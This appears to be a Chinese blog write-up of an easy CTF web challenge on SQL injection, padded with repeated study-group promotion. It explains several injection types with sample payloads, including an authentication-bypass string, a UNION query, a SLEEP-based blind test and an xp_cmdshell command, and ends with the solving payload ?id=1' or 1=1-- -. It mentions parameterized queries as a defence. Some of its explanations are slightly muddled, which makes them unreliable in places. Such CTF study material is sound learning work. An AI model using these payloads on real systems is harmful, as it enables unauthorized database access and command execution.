学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
Please enter ID,and Try to bypass
难度:1
方向:Web,SQL注入
题目描述:无
题干界面
本人思路
-
这个题目的题目描述为无,但在进入了题目界面后,提示了这样子的一句话。
翻译过来就是输入id,且尝试绕过,查看源代码,发现源代码只有这一句话,也没有其他信息。 -
CTF攻防就是信息的整理和收集,然后把所有细节加起来考虑出方向。
- 题目 inget,应该是使用get请求的意识
- 而提示的那句话,please enter ID,and try to bypass, 猜测应该是以id作为参数,然后尝试绕过
-
下面将是我的思路,以id作为参数然后作为绕过
1)尝试id=1,会出现什么结果。结果就是无事发生,是老样子
- 尝试把id的位数输大一点,是不是又长度判断.结果还是老样子。然后我猜想是不是id要爆破?所以我在一个虚拟机一边进行了爆破
- 关键信息里面还有一个很重要的信息就是绕过。所谓绕过最常见的在web安全里面的就是SQL注入,绕过验证。那什么是SQL注入,下面将举几个例子,简单讲讲SQL注入
SQL注入是一种利用应用程序对用户输入的处理不当而导致的安全漏洞。攻击者通过在用户输入中插入恶意的SQL代码,从而欺骗应用程序执行非预期的数据库操作。这可能导致数据库泄露、数据篡改或未经授权的访问。
SQL注入的常见类型:
Classic SQL Injection:
SELECT \* FROM users WHERE username = 'admin' AND password = 'password123';
如果用户输入 admin' OR '1'='1'; -- 作为密码,整个SQL语句变为:
SELECT \* FROM users WHERE username = 'admin' AND password = 'admin' OR '1'='1'; --';
效果: 使条件始终为真,绕过身份验证。
Union-Based SQL Injection:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admins;
如果用户输入 1 UNION ALL SELECT NULL, NULL, NULL; -- 作为ID,整个SQL语句变为:
SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT NULL, NULL, NULL; --';
效果: 将两个查询的结果联合起来,通常用于获取额外的信息。
Time-Based Blind SQL Injection:
SELECT \* FROM users WHERE username = 'admin' AND password = 'password123' AND IF(1=1, SLEEP(5), 0);
如果用户输入 admin' AND IF(1=2, SLEEP(5), 0); -- 作为密码,整个SQL语句变为:
SELECT \* FROM users WHERE username = 'admin' AND password = 'admin' AND IF(1=2, SLEEP(5), 0); --';
效果: 利用延时函数,根据应用程序是否延时来判断条件是否为真。
Out-of-Band SQL Injection:
SELECT \* FROM users WHERE username = 'admin'; -- HTTP request to attacker-controlled server
如果用户输入 admin'; EXEC xp\_cmdshell('nslookup example.com'); -- 作为用户名,整个SQL语句变为:
SELECT \* FROM users WHERE username = 'admin'; EXEC xp\_cmdshell('nslookup example.com'); --';
效果: 利用SQL Server的 xp_cmdshell 执行命令,实现带外数据传输。
防范SQL注入的方法包括使用参数化查询、输入验证和限制数据库用户的权限。开发者应该仔细处理用户输入,确保不会被直接拼接到SQL查询中
4)因此我们尝试使用最容易注入的or,就是下面这个语句
?id=1’ or 1=1-- -
*意思:在 id 参数的输入后添加了 or 1=1,其中 1=1 始终为真,注释部分 – - 表示在此之后的所有内容都是注释,不会被执行。(那个分号的作用是关闭原始查询中的字符串,然后插入 or 1=1-- -,如果对分号不太熟悉使用位置,可以多次试验)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!